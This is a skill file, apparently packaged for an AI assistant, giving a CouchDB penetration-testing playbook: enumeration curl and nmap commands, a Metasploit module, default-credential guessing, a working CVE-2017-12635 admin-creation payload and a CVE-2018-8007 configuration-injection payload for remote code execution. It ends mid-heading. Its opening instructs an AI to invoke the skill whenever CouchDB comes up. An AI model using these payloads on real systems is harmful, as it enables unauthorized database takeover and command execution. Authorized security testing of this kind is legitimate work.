Hacktricks-skills couchdb-pentest

Pentest CouchDB databases on ports 5984/6984. Use this skill whenever the user mentions CouchDB, document databases, port 5984, port 6984, or needs to enumerate/exploit CouchDB instances. This includes database enumeration, credential testing, privilege escalation, and RCE exploitation.

install

source · Clone the upstream repo

git clone https://github.com/abelrguezr/hacktricks-skills

manifest: skills/network-services-pentesting/5984-pentesting-couchdb/SKILL.MD

source content

CouchDB Pentesting

A comprehensive skill for testing CouchDB document-oriented databases for security vulnerabilities.

Quick Start

# Basic enumeration
curl http://<IP>:5984/

# List all databases
curl http://<IP>:5984/_all_dbs

# With credentials
curl http://<user>:<password>@<IP>:5984/_all_dbs

Enumeration

Automatic Enumeration

Use these tools for initial reconnaissance:

# Nmap scripts
nmap -sV --script couchdb-databases,couchdb-stats -p 5984 <IP>

# Metasploit
msfconsole
use auxiliary/scanner/couchdb/couchdb_enum
set RHOSTS <IP>
run

Manual Enumeration

Banner Grabbing

curl http://<IP>:5984/

Expected responses:

{"couchdb":"Welcome","version":"0.10.1"}

- Version info

{"error":"unauthorized","reason":"Authentication required."}

- Auth required (401)

Information Endpoints

These endpoints reveal system information:

Endpoint	Description
`/_active_tasks`	Running tasks with status and process IDs
`/_all_dbs`	List of all databases
`/_cluster_setup`	Cluster status and configuration
`/_db_updates`	Database events (requires `_global_changes` )
`/_membership`	Cluster nodes information
`/_scheduler/jobs`	Replication jobs with source/target info
`/_scheduler/docs`	Replication document states
`/_node/_local`	Current Erlang node name
`/_node/_local/_stats`	Server statistics
`/_node/_local/_system`	System-level statistics
`/_up`	Server health check
`/_uuids`	Generate UUIDs
`/_reshard`	Resharding job status

Database Enumeration

# List all databases
curl -X GET http://<IP>:5984/_all_dbs

# Get database info
curl http://<IP>:5984/<database_name>

# List documents in database
curl -X GET http://<IP>:5984/<database_name>/_all_docs

# Read specific document
curl -X GET http://<IP>:5984/<database_name>/<document_id>

Authentication Testing

Credential Discovery

If you receive 401 Unauthorized responses, try:

Brute force - Use common credentials or password lists
Default credentials - Check for
```
admin:admin
```
,
```
couchdb:couchdb
```
Extract from configs - Look for credentials in backup files or configs

Using Credentials

# URL encoding
curl http://<user>:<password>@<IP>:5984/_all_dbs

# Or with -u flag
curl -u <user>:<password> http://<IP>:5984/_all_dbs

Privilege Escalation

CVE-2017-12635 - Admin User Creation

Exploit JSON parser differences to create admin users:

curl -X PUT \
  -d '{"type":"user","name":"<username>","roles":["_admin"],"roles":[],"password":"<password>"}' \
  http://<IP>:5984/_users/org.couchdb.user:<username> \
  -H "Content-Type:application/json"

Note: The duplicate

roles

keys exploit parser differences between Erlang and JavaScript.

Remote Code Execution

CVE-2018-8007 - Configuration Injection

Requires write access to

local.ini

file:

# Inject command via CORS configuration
curl -X PUT \
  'http://<user>:<password>@<IP>:5984/_node/couchdb@<IP>/_config/cors/origins' \
  -H "Accept: application/json" \
  -H "Content-Type: application/json" \
  -d "<origin>\n\n[os_daemons]\ntestdaemon = /path/to/command"

# Restart CouchDB to trigger execution
kill <couchdb_process_id>

CVE-2017-12636 - Query Server Exploitation